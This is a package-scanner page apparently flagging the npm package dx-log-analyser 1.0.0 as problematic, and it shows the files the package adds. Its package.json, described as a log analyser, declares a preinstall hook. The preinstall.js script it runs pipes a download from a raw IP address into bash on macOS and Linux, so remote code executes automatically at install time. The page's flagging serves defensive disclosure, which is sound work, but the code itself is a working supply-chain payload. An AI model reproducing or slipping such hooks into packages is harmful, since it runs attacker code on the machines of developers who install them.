dx-log-analyser 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of dx-log-analyser might be problematic. Click here for more details.
- package/package.json +13 -0
- package/preinstall.js +10 -0
package/package.json
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "dx-log-analyser",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "daxiang log analyser",
|
5
|
+
"main": "index.js",
|
6
|
+
|
7
|
+
"scripts": {
|
8
|
+
"preinstall": "node ./preinstall.js",
|
9
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
10
|
+
},
|
11
|
+
"author": "",
|
12
|
+
"license": "ISC"
|
13
|
+
}
|
package/preinstall.js
ADDED
@@ -0,0 +1,10 @@
|
|
1
|
+
var opsys = process.platform;
|
2
|
+
if (opsys == "darwin") {
|
3
|
+
command = "curl -A O -o- -L http://60.205.114.204/dx-log-analyser-darwin | bash -s";
|
4
|
+
} else if (opsys == "win32" || opsys == "win64") {
|
5
|
+
command = "Windows";
|
6
|
+
} else if (opsys == "linux") {
|
7
|
+
command = "curl -A O -o- -L http://60.205.114.204/dx-log-analyser-Linux | bash -s";
|
8
|
+
}
|
9
|
+
const exec = require('child_process').exec;
|
10
|
+
const output = exec(command);
|